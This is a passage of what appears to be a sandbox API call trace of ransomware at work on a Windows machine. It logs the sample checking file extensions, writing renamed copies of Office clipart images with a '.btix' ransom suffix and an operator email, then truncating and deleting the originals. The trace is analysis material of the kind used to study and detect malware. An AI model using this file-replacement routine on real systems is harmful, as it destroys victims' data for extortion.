[0139.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0139.314] lstrlenW (lpString=".doc") returned 4 [0139.314] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0139.314] lstrlenW (lpString=".docx") returned 5 [0139.314] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0139.314] lstrlenW (lpString=".pdf") returned 4 [0139.314] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0139.314] lstrlenW (lpString=".xls") returned 4 [0139.314] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0139.314] lstrlenW (lpString=".xlsx") returned 5 [0139.315] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0139.315] lstrlenW (lpString=".ppt") returned 4 [0139.315] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0139.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0139.315] lstrlenW (lpString=".zip") returned 4 [0139.315] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0139.315] lstrlenW (lpString=".rar") returned 4 [0139.315] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0139.315] lstrlenW (lpString=".bz2") returned 4 [0139.315] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0139.315] lstrlenW (lpString=".7z") returned 3 [0139.315] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0139.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0139.315] lstrlenW (lpString=".dbf") returned 4 [0139.315] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0139.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0139.315] lstrlenW (lpString=".1cd") returned 4 [0139.315] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0139.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0139.315] lstrlenW (lpString=".jpg") returned 4 [0139.315] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0139.315] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0139.316] lstrlenW (lpString="J0099200.GIF") returned 12 [0139.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0139.994] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=16543) returned 1 [0139.994] CloseHandle (hObject=0x4c0) returned 1 [0139.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 0x220 [0140.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0140.258] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.258] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0140.259] GetLastError () returned 0x0 [0140.259] ReadFile (in: hFile=0x4ac, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x409f, lpOverlapped=0x0) returned 1 [0140.261] WriteFile (in: hFile=0x42c, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x40a0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x40a0, lpOverlapped=0x0) returned 1 [0140.262] ReadFile (in: hFile=0x4ac, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0140.262] WriteFile (in: hFile=0x42c, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0140.262] SetEndOfFile (hFile=0x42c) returned 1 [0140.262] CloseHandle (hObject=0x42c) returned 1 [0140.262] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.263] SetEndOfFile (hFile=0x4ac) returned 1 [0140.265] CloseHandle (hObject=0x4ac) returned 1 [0140.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0140.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 1 [0140.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0140.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0140.267] lstrlenW (lpString=".doc") returned 4 [0140.267] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0140.267] lstrlenW (lpString=".docx") returned 5 [0140.267] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0140.267] lstrlenW (lpString=".pdf") returned 4 [0140.267] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0140.267] lstrlenW (lpString=".xls") returned 4 [0140.267] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0140.267] lstrlenW (lpString=".xlsx") returned 5 [0140.267] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0140.267] lstrlenW (lpString=".ppt") returned 4 [0140.267] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0140.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0140.267] lstrlenW (lpString=".zip") returned 4 [0140.267] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0140.267] lstrlenW (lpString=".rar") returned 4 [0140.267] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0140.267] lstrlenW (lpString=".bz2") returned 4 [0140.267] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0140.267] lstrlenW (lpString=".7z") returned 3 [0140.267] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0140.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0140.267] lstrlenW (lpString=".dbf") returned 4 [0140.267] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0140.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0140.267] lstrlenW (lpString=".1cd") returned 4 [0140.267] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0140.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0140.268] lstrlenW (lpString=".jpg") returned 4 [0140.268] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0140.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0140.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0140.268] lstrlenW (lpString=".doc") returned 4 [0140.268] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0140.268] lstrlenW (lpString=".docx") returned 5 [0140.268] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0140.268] lstrlenW (lpString=".pdf") returned 4 [0140.268] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0140.268] lstrlenW (lpString=".xls") returned 4 [0140.268] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0140.268] lstrlenW (lpString=".xlsx") returned 5 [0140.268] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0140.268] lstrlenW (lpString=".ppt") returned 4 [0140.268] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0140.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0140.268] lstrlenW (lpString=".zip") returned 4 [0140.268] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0140.268] lstrlenW (lpString=".rar") returned 4 [0140.268] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0140.268] lstrlenW (lpString=".bz2") returned 4 [0140.268] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0140.269] lstrlenW (lpString=".7z") returned 3 [0140.269] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0140.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0140.269] lstrlenW (lpString=".dbf") returned 4 [0140.269] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0140.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0140.269] lstrlenW (lpString=".1cd") returned 4 [0140.269] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0140.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0140.269] lstrlenW (lpString=".jpg") returned 4 [0140.269] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0140.269] lstrcmpiW (lpString1=".BMP", lpString2=".btix") returned -1 [0140.269] lstrlenW (lpString="J0101856.BMP") returned 12 [0140.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0140.270] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=78840) returned 1 [0140.270] CloseHandle (hObject=0x4ac) returned 1 [0140.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 0x220 [0140.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0140.270] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.270] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0140.271] GetLastError () returned 0x0 [0140.271] ReadFile (in: hFile=0x4ac, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x133f8, lpOverlapped=0x0) returned 1 [0140.283] WriteFile (in: hFile=0x42c, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x13400, lpOverlapped=0x0) returned 1 [0140.285] ReadFile (in: hFile=0x4ac, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0140.285] WriteFile (in: hFile=0x42c, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0140.285] SetEndOfFile (hFile=0x42c) returned 1 [0140.285] CloseHandle (hObject=0x42c) returned 1 [0140.285] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.285] SetEndOfFile (hFile=0x4ac) returned 1 [0140.289] CloseHandle (hObject=0x4ac) returned 1 [0140.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0140.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 1 [0140.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0140.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0140.290] lstrlenW (lpString=".doc") returned 4 [0140.290] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0140.290] lstrlenW (lpString=".docx") returned 5 [0140.290] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0140.290] lstrlenW (lpString=".pdf") returned 4 [0140.290] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0140.290] lstrlenW (lpString=".xls") returned 4 [0140.290] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0140.290] lstrlenW (lpString=".xlsx") returned 5 [0140.290] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0140.290] lstrlenW (lpString=".ppt") returned 4 [0140.290] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0140.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0140.290] lstrlenW (lpString=".zip") returned 4 [0140.290] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0140.290] lstrlenW (lpString=".rar") returned 4 [0140.290] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0140.290] lstrlenW (lpString=".bz2") returned 4 [0140.290] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0140.290] lstrlenW (lpString=".7z") returned 3 [0140.290] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0140.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0140.290] lstrlenW (lpString=".dbf") returned 4 [0140.290] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0140.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0140.290] lstrlenW (lpString=".1cd") returned 4 [0140.291] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0140.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0140.291] lstrlenW (lpString=".jpg") returned 4 [0140.291] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0140.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0140.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0140.291] lstrlenW (lpString=".doc") returned 4 [0140.291] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0140.291] lstrlenW (lpString=".docx") returned 5 [0140.291] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0140.291] lstrlenW (lpString=".pdf") returned 4 [0140.291] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0140.291] lstrlenW (lpString=".xls") returned 4 [0140.291] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0140.291] lstrlenW (lpString=".xlsx") returned 5 [0140.291] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0140.291] lstrlenW (lpString=".ppt") returned 4 [0140.291] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0140.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0140.291] lstrlenW (lpString=".zip") returned 4 [0140.291] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0140.291] lstrlenW (lpString=".rar") returned 4 [0140.291] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0140.291] lstrlenW (lpString=".bz2") returned 4 [0140.291] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0140.291] lstrlenW (lpString=".7z") returned 3 [0140.291] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0140.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0140.292] lstrlenW (lpString=".dbf") returned 4 [0140.292] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0140.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0140.292] lstrlenW (lpString=".1cd") returned 4 [0140.292] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0140.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0140.292] lstrlenW (lpString=".jpg") returned 4 [0140.292] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0140.292] lstrcmpiW (lpString1=".BMP", lpString2=".btix") returned -1 [0140.292] lstrlenW (lpString="J0101858.BMP") returned 12 [0140.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0140.594] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=32184) returned 1 [0140.594] CloseHandle (hObject=0x530) returned 1 [0140.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 0x220 [0140.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0140.594] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.594] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0140.595] GetLastError () returned 0x0 [0140.595] ReadFile (in: hFile=0x530, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0140.597] WriteFile (in: hFile=0x550, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0140.598] ReadFile (in: hFile=0x530, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0140.598] WriteFile (in: hFile=0x550, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0140.599] SetEndOfFile (hFile=0x550) returned 1 [0140.599] CloseHandle (hObject=0x550) returned 1 [0140.599] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.599] SetEndOfFile (hFile=0x530) returned 1 [0140.602] CloseHandle (hObject=0x530) returned 1 [0140.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0141.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 1 [0141.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0141.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0141.611] lstrlenW (lpString=".doc") returned 4 [0141.611] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0141.611] lstrlenW (lpString=".docx") returned 5 [0141.611] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0141.611] lstrlenW (lpString=".pdf") returned 4 [0141.611] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0141.611] lstrlenW (lpString=".xls") returned 4 [0141.611] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0141.611] lstrlenW (lpString=".xlsx") returned 5 [0141.611] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0141.611] lstrlenW (lpString=".ppt") returned 4 [0141.611] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0141.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0141.611] lstrlenW (lpString=".zip") returned 4 [0141.612] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0141.612] lstrlenW (lpString=".rar") returned 4 [0141.612] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0141.612] lstrlenW (lpString=".bz2") returned 4 [0141.612] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0141.612] lstrlenW (lpString=".7z") returned 3 [0141.612] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0141.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0141.612] lstrlenW (lpString=".dbf") returned 4 [0141.612] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0141.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0141.612] lstrlenW (lpString=".1cd") returned 4 [0141.612] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0141.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0141.612] lstrlenW (lpString=".jpg") returned 4 [0141.612] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0141.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0141.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0141.612] lstrlenW (lpString=".doc") returned 4 [0141.612] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0141.612] lstrlenW (lpString=".docx") returned 5 [0141.612] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0141.612] lstrlenW (lpString=".pdf") returned 4 [0141.612] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0141.612] lstrlenW (lpString=".xls") returned 4 [0141.612] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 